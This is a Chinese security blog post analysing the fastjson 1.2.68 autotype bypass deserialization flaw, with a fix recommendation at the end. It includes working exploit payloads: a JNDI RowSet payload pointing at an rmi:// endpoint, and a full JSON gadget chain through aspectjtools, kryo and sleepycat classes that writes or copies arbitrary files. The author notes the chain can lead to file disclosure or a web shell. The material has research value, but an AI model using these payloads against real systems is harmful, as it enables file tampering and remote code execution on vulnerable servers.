fastjson 1.2.68 autotype bypass 反序列化漏洞(完整版)

关于漏洞

fastjson 的这个新漏洞在 1.2.68 及之前版本的 autotype 关闭的情况下仍然可以绕过限制反序列化,相比 1.2.47 版本的漏洞来讲这个版本的漏洞还是有一些限制的(关于 1.2.47 漏洞可以参考我的另一篇文章《Java 反序列化漏洞始末(3)— fastjson》),例如 1.2.47 是可以绕过黑名单的限制的,而这个漏洞则无法绕过黑名单,并且需要类实现 AutoCloseable 接口。目前主要的 JNDI gadget 已经进了黑名单,还不允许反序列化类实现了 ClassLoader、DataSource、RowSet 接口,这就导致了绝大部分的 JNDI gadget 无法利用,所以本篇文章主要分享一下 gadget 的挖掘思路和漏洞的原理分析。

漏洞分析

这个漏洞的的成因和我的另一篇文章《fastjson 1.2.68 最新版本有限制 autotype bypass》一致,都是由于期望类(expectClass)导致的,这个漏洞的期望类范围更大,更容易找到具有危害的 gadget。

1591505404(1).jpg

首先看 DefaultJSONParser#parseObject 这里将 @type 指定的类作为条件去获取 Deserialzer 对象。

1591505837.jpg

ParserConfig#getDeserializer 方法中不满足条件所以到了最后一步通过ParserConfig#createJavaBeanDeserializer 方法来构造 JavaBeanDeserializer

1591506050(1).jpg

在这一步创建了 JavaBeanDeserializer 对象,而漏洞也就发生在 JavaBeanDeserializer 类中。

现在回到 DefaultJSONParser#parseObject 应该走下一步 JavaBeanDeserializer#deserialze 方法。

用期望类的思路,可以找到此处有两个方法使用了 ParserConfig#checkAutoType 且指定了期望类。

一个是 deserialzeArrayMapping() 另一个是 deserialze()

1591506835(1).jpg

deserialze() 方法中又做了一次 checkAutoType 检测,此处直接将第二个 @type 的类名,和前面构造 JavaBeanDeserializer 对象时指定的期望类直接传了进来。

1591507246(1).jpg

我在 《fastjson 1.2.68 最新版本有限制 autotype bypass》 这篇文章提到过,当 checkAutoType(String typeName, Class<?> expectClass, int features) 方法的 typeName 实现或继承自 expectClass,就会通过检验。

但还有三个问题,会阻碍 gadget 的触发。

boolean expectClassFlag;
if (expectClass == null) {
    expectClassFlag = false;
} else if (expectClass != Object.class && expectClass != Serializable.class && expectClass != Cloneable.class && expectClass != Closeable.class && expectClass != EventListener.class && expectClass != Iterable.class && expectClass != Collection.class) {
    expectClassFlag = true;
} else {
    expectClassFlag = false;
}

第一个问题是期望类的黑名单,里面包括了大部分常用的父接口和父类,却唯独少了一个 java.lang.AutoCloseable
这也就是为什么 AutoCloseable 为什么可以通过校验的第一个原因,第二个原因是TypeUtils#mappings里有 AutoCloseable 类。

1591507991(1).jpg

第二个问题是黑名单类,fastjson 在 denyHashCodes 里几乎把常见的容易造成漏洞的类都加进了黑名单,这就造成了攻击成本变高,如果要利用漏洞,只能花费更多的时间去寻未被发现的常用库 gadget。

第三个问题是父类、父接口黑名单,fastjson 在判断期望类之前将继承自 ClassLoader、DataSource、RowSet 的类直接抛出异常。

if (ClassLoader.class.isAssignableFrom(clazz) || DataSource.class.isAssignableFrom(clazz) || RowSet.class.isAssignableFrom(clazz)) {
    throw new JSONException("autoType is not support. " + typeName);
}

而常用的 JNDI RCE 类基本上都继承自 DataSource 和 RowSet,所以能找到的 JNDI gadget 基本都无法在这个漏洞中使用。

以上三点足够让大部分常见的 gadget 无法使用,所以需要换一种 gadget 挖掘思路。

挖掘 gadget

关于 gadget 的挖掘思路我主要是寻找关于输入输出流的类来写文件,IntputStream 和 OutputStream 都是实现自 AutoCloseable 接口的,而且也没有被列入黑名单,所以只要找到合适的类,还是可以进行文件读写等高危操作的。

JNDI

前面说到,这个漏洞基本无法使用 JNDI,实际上并不完全是,当 fastjson 小于 1.2.51 时,还是可以通过实现了 RowSet 接口的类进行 JNDI 反序列化。

1591509245(1).jpg

经对比,在 1.2.51 版本没有更新任何黑名单,在 1.2.61 时才更新了一个实现了 RowSet 接口的黑名单oracle.jdbc.rowset.OracleJDBCRowSet,所以还是可以通过寻找 RowSet 类 JNDI gadget 打 1.2.51 版本以下的 fastjson。

1591510138(1).jpg

{"@type":"java.lang.AutoCloseable","@type":"oracle.jdbc.rowset.OracleJDBCRowSet","dataSourceName":"rmi://127.0.0.1:2333/Exploit","command":"a"}

文件读写

我寻找 gadget 时的条件是这样的。

  • 需要一个通过 set 方法或构造方法指定文件路径的 OutputStream
  • 需要一个通过 set 方法或构造方法传入字节数据的 OutputStream,参数类型必须是byte[]、ByteBuffer、String、char[]其中的一个,并且可以通过 set 方法或构造方法传入一个 OutputStream,最后可以通过 write 方法将传入的字节码 write 到传入的 OutputStream
  • 需要一个通过 set 方法或构造方法传入一个 OutputStream,并且可以通过调用 toString、hashCode、get、set、构造方法 调用传入的 OutputStream 的 close、write 或 flush 方法

以上三个组合在一起就能构造成一个写文件的利用链,我通过扫描了一下 JDK ,找到了符合第一个和第三个条件的类。

分别是 FileOutputStream 和 ObjectOutputStream,但这两个类选取的构造器,不符合情况,所以只能找到这两个类的子类,或者功能相同的类。

最终我挑选出了三个符合条件的类

写文件类

  • org.eclipse.core.internal.localstore.SafeFileOutputStream
<dependency>
    <groupId>org.aspectj</groupId>
    <artifactId>aspectjtools</artifactId>
    <version>1.9.5</version>
</dependency>

aspectjtools 这个库虽然不算是主流库,但也有一些使用量的。

SafeFileOutputStream 类其实可以单独拿出来做漏洞利用了,因为其构造方法中会将 tempPath 复制到 targetPath。

所以攻击者可以把配置文件复制到 WEB 可访问目录下,变相的变成了一个文件读取漏洞。

或者在允许上传附件同时知道绝对路径或工作目录到 WEB 目录的相对路径(也可以是访问日志的路径)的情况下将目标文件移动到 WEB 目录下,可以随意指定文件名,这样就可以变为 getshell 的漏洞。

public class SafeFileOutputStream extends OutputStream {
    protected File temp;
    protected File target;
    protected OutputStream output;
    protected boolean failed;
    protected static final String EXTENSION = ".bak";

    public SafeFileOutputStream(File file) throws IOException {
        this(file.getAbsolutePath(), (String)null);
    }

    public SafeFileOutputStream(String targetPath, String tempPath) throws IOException {
        this.failed = false;
        this.target = new File(targetPath);
        this.createTempFile(tempPath);
        if (!this.target.exists()) {
            if (!this.temp.exists()) {
                this.output = new BufferedOutputStream(new FileOutputStream(this.target));
                return;
            }

            this.copy(this.temp, this.target);
        }

        this.output = new BufferedOutputStream(new FileOutputStream(this.temp));
    }

    /*.......*/
}

SafeFileOutputStream#SafeFileOutputStream(java.lang.String, java.lang.String) 构造方法判断了如果 targetPath 文件不存在且 tempPath 文件存在,就会把 tempPath 复制到 targetPath

写内容类

  • com.esotericsoftware.kryo.io.Output
<dependency>
    <groupId>com.esotericsoftware</groupId>
    <artifactId>kryo</artifactId>
    <version>4.0.0</version>
</dependency>

这个类使用量还可以,kryo 库还存在反序列化漏洞,被收录进了 marshalsec。

1591518118(1).jpg

该类主要用来写内容,它提供了 setBuffer 和 setOutputStream 刚好符合我的条件,buffer 是我的文件内容,outputStream 就是 SafeFileOutputStream

    public void flush() throws KryoException {
        if (this.outputStream != null) {
            try {
                this.outputStream.write(this.buffer, 0, this.position);
                this.outputStream.flush();
            } catch (IOException var2) {
                throw new KryoException(var2);
            }

            this.total += (long)this.position;
            this.position = 0;
        }
    }

但写文件的条件是需要触发 flush 方法,flush 方法只有在 close 和 write 方法被调用时才会触发。

触发flush

  • com.sleepycat.bind.serial.SerialOutput
<dependency>
    <groupId>com.sleepycat</groupId>
    <artifactId>je</artifactId>
    <version>5.0.73</version>
</dependency>

到了最后一步就差触发 flush 去写文件了,我找了找 JDK 的类 ObjectOutputStream 刚好非常完美的符合我的条件。

1591518815(1).jpg

java.io.ObjectOutputStream$BlockDataOutputStream 内部类将构造方法的 OutputStream 赋值给 out 变量

1591518889(1).jpg

setBlockDataMode 方法去调用了 drain 方法 ,drain 方法又调用了 out.write 方法。

再回到 BlockDataOutputStream 类实例化的点。

1591519060(1).jpg

ObjectOutputStream 在构造方法直接完成了整个触发流程,是一个非常完美的用来触发 flush 的类。

可惜 fastjson 优先获取的是无参构造器,所以只能找继承了 ObjectOutputStream 的类来触发。

随便从 maven 找了一个库 com.sleepycat.bind.serial.SerialOutput 刚好符合这个条件。

最终触发的流程如下

write:126, SafeFileOutputStream (org.eclipse.core.internal.localstore)
write:116, OutputStream (java.io)
flush:185, Output (com.esotericsoftware.kryo.io)
require:164, Output (com.esotericsoftware.kryo.io)
writeBytes:251, Output (com.esotericsoftware.kryo.io)
write:219, Output (com.esotericsoftware.kryo.io)
drain:1877, ObjectOutputStream$BlockDataOutputStream (java.io)
setBlockDataMode:1786, ObjectOutputStream$BlockDataOutputStream (java.io)
<init>:247, ObjectOutputStream (java.io)
<init>:73, SerialOutput (com.sleepycat.bind.serial)

漏洞复现

漏洞的原理和 gadget 的细节都摸清了,接下来我将用本地的模拟环境复现一遍漏洞。

写文件

1591520319(1).jpg

{
    "stream": {
        "@type": "java.lang.AutoCloseable",
        "@type": "org.eclipse.core.internal.localstore.SafeFileOutputStream",
        "targetPath": "f:/test/pwn.txt",
        "tempPath": "f:/test/test.txt"
    },
    "writer": {
        "@type": "java.lang.AutoCloseable",
        "@type": "com.esotericsoftware.kryo.io.Output",
        "buffer": "YjF1M3I=",
        "outputStream": {
            "$ref": "$.stream"
        },
        "position": 5
    },
    "close": {
        "@type": "java.lang.AutoCloseable",
        "@type": "com.sleepycat.bind.serial.SerialOutput",
        "out": {
            "$ref": "$.writer"
        }
    }
}

复制文件

1591520570(1).jpg

这三个库实际组合起来危害危害一般,本文旨在给安全研究者提供一种针对此漏洞的 gadget 挖掘思路,危害更高的 gadget 还要靠自己不断挖掘。

修复方案

  • 更新到 1.2.69 或更高版本

发表留言

如未标注转载则文章均为本人原创,转载前先吱声,未授权转载我就锤爆你狗头。

人生在世,错别字在所难免,无需纠正。